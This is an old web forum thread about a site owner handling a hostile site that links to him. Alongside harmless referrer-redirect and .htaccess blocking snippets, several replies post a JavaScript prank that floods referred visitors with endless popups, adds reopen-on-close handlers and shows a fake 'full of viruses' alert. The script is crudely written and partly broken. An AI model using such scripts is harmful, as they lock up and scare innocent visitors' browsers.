Website Self-Defence! Advice badly needed!! 4

[cian]

Hi guys,
I need a little advice on site "self-defence". There is a certain site which has linked to my site in a very insulting way. they have done this in retaliation to something I wrote in a weblog. They actually linked to an old site of mine a few years ago. they are a particularly nasty group of people and I know they have already checked with "Whois" who I am (my personal details are recorded with my registrar of course).

My questions is how do I react? Do I just let it die, say nothing? Is there anyone I can report this too? Should I prepare for any kind of an attack on my site?
Can a registrar "hide" your personal details or can I give false information?

It's a little troubling so any advice would be greatly appreciated!!!! :-(

yeah there is a way to retaliate.

create a fake error 404 page.

I don't know what server side technology you use but check if the referrer is that site and if it is send them automatically to the 404 error! Gary

a PHP example:

<?php

if (preg_match (&quot;/the-site.com/i&quot;, $HTTP_REFERER)) {
    header (&quot;Location: 404.html&quot;);
}

//rest of page

?>

or if you really want to be nasty use this script :

<script>
var badsites = [location.href, &quot;

http://www.xxx.com&quot;,

&quot;salttotaste add more sites here preferably ones with popups&quot;]

if (document.referrer.indexOf(&quot;siteLinkingToYou.com&quot != -1)
{
for(var i = 0; i < basites.length; i++)
window.open(&quot;

http://&quot;

+ badsites);

for(var i = 0; i < basites.length; i++)
window.open(&quot;

http://&quot;

+ badsites);

for(var i = 0; i < basites.length; i++)
window.open(&quot;

http://&quot;

+ badsites);

for(var i = 0; i < basites.length; i++)
window.open(&quot;

http://&quot;

+ badsites);

for(var i = 0; i < basites.length; i++)
window.open(&quot;

http://&quot;

+ badsites);

for(var i = 0; i < basites.length; i++)
alert(&quot;Your computer is now full of Viruses&quot
}
</script>

This one is fun but I recommend be used with care! It's relly best to do the Gandhi thing and not retaliate. Best to give them a 404 error!

Thanks Dave, Gary,

I already set up a SSI redirect to take visitors to MSN.com! Is it possible to block referrers from that site with .htaccess to cover the entire domain?

Thanks gary, looks like a good script, i'll save it for future use! I have to consider though that some of the visitors coming from that site might be quite normal, so I cant screw them, the gandhi approach might be best!
Is it possible to create a virus which will sneak into their server, download onto their computer then buggerise them?

I'm not going to review that site for you!

I don't think that you can do that with htaccess, but I might be wrong.

http://www.javascriptkit.com/howto/htaccess.shtml

is the most comprehensive htaccess site I've seen.

If you are like me, you include your pages. eg. I have a head, middle, and end page so that if I change one page, it will update. That way, you can just stick the above code in your head page. If you don't have your pages done that way, you may want to convert. Updating things is so nice this way!!!

Thanks Rick, i'll check that out!!

Btw I was actually joking about the virus thingy, just in case anyone thought I was serious!

Hi mate,

Certain registrars can allow you to hide your info from a whois, this is one thing that I offer to my clients.

For the htaccess, something like the following should work, but maybe not:

Order Allow,Deny
Allow from all
deny from 11.22.33.44
deny from domain.com

If this doesn't work, let me know and I will think of another way.

Hope this helps

I put up the script for laughs. I don't expect anyone to actually have the guts to use it!

I do believe the 404 way is better. BigBadDave has the PHP way of doing it. PHP makes it seem too easy! Gary

Gary, if you use that don't forget to add the following to the index.html page:

<body onload=&quot;window.open('index.html')&quot; onunload=&quot;window.open('index.html')&quot;>

I just can't imaging that working!!! Try this instead;-) :

<script>
var badsites = [location.href, &quot;

http://www.xxx.com&quot;,

&quot;salttotaste add more sites here preferably ones with popups&quot;]

if (document.referrer.indexOf(&quot;siteLinkingToYou.com&quot != -1)
{
j=0;
while(j<1){
for(var i = 0; i < badsites.length; i++)
window.open(&quot;

http://&quot;

+ badsites);
}
//if it ever gets this far...
for(var i = 0; i < badsites.length; i++)
alert(&quot;Your computer is now full of Viruses&quot
}
</script>
Enjoy

var badsites = new Array(&quot;

var j=0;
while(j<1){
for(var i = 0; i < badsites.length; i++)
window.open(&quot;

}
//if it ever gets this far...
